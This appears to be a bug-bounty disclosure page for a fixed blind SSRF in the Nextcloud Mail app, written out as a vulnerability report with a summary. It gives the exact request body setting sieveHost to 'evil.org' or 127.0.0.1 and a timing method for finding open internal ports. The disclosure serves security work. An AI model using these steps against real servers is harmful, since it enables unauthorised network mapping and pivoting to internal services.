Mail app - Blind SSRF via Sierve server fonctionnality and sieveHost parameter
The Nextcloud Mail app accepted a user-supplied sieveHost value when saving a Sieve filter account and connected to it without validation, so an authenticated user could make the server send requests to arbitrary hosts and ports. By timing responses, the reporter could tell which internal ports were open, including SSH, MySQL, PostgreSQL and Redis.
- Triaged in 13 hours
- Fixed in 2 months
- Disclosed after 4 months
Summary by the program
Security advisory at https://github.com/nextcloud/security-advisories/security/advisories/GHSA-8gcx-r739-9pf6
The report
Hi everyone, I would like to report another Blind SSRF vulnerability through the Nextcloud Mail application.
Tested on latest Mail release : 2.0.1
Steps To Reproduce:
Firstly, this report is similar to #1736390 except that it touches a new parameter and a different endpoint.
When adding a filter via a sieve filter server (mail application => added mailbox => settings => Sieve filter server), the following request is made :
PUT /apps/mail/api/sieve/account/5 HTTP/2
Host: redacted
Cookie: redactedr
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Requesttoken: redacted
Content-Length: 117
Origin: redacted
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{"sieveEnabled":true,"sieveHost":"evil.org","sievePort":"80","sieveUser":"","sievePassword":"","sieveSslMode":"none"}
The SSRF is found in the sieveHost parameter, and provided that the sieveSslMode parameter is set to none.
{"sieveEnabled":true,"sieveHost":"127.0.0.1","sievePort":"80","sieveUser":"","sievePassword":"","sieveSslMode":"none"}
Via the Burp Intruder tool, I will guess the open ports on my Nextcloud server. Response time less than 100ms => closed port. Response time higher than 5000ms = open ports and service listening on them.

Result from Burp Intruder on my NC server :

Port 80 - Apache2 service
Port 443 - Apache2 service
Port 2222 - SSH ! (critical)
Port 6060 - CrowdSec
Port 8080 - CrowdSec
Port 3306 - MySQL
Port 5432 - PostgreSQL
Port 6379 - My Redis instance for Nextcloud
Impact
From OWASP:
SSRF flaws occur whenever a web application is fetching a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall, VPN, or another type of network access control list (ACL).
This vulnerability can allow a malicious individual to map the server and the company's internal network via Nextcloud. This is not demonstrated here in the report but one can scan private subnet ranges to try to guess :
- Which IP addresses are responding
- Wich ports are open
- Tried to exploit vulnerable services through this Blind SSRF
Here are some examples of Blind SSRF, which were used as a rebound, to exploit more critical vulnerabilities :
Here is an example of how to use an SSRF blind, as a rebound, to exploit a critical flaw.
Looking forward to exchanging.
Regards, Supr4s
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the Sieve account endpoint passed the user-supplied sieveHost value straight to an outbound connection without validating or restricting the destination address.
Impact
An authenticated user could map the server and internal network, identifying open ports and potentially using the blind SSRF as a pivot to reach vulnerable internal services, though the report does not demonstrate exploitation of those services.
What the attacker needed
A Nextcloud account with Mail app access; ability to add a mailbox and Sieve account; sieveSslMode set to none
How it was found
- Open the Mail app, add a mailbox and go to the Sieve filter server settings.
- Submit the account update request with sieveEnabled true, sieveSslMode set to none and sieveHost pointing at the target address.
- Send the request repeatedly with different ports and measure the response time.
- Treat responses under 100ms as closed ports and responses over 5000ms as open ports with a listening service.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A server-side request forgery (SSRF) happens when a website lets a user influence where the server itself makes a network connection. Here the mail app took a host address typed by the user and tried to connect to it, so the user could point it at machines inside the company network that outsiders cannot reach. The attacker cannot read the replies, but the time each attempt takes reveals whether a port is open.
What is SSRF?
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.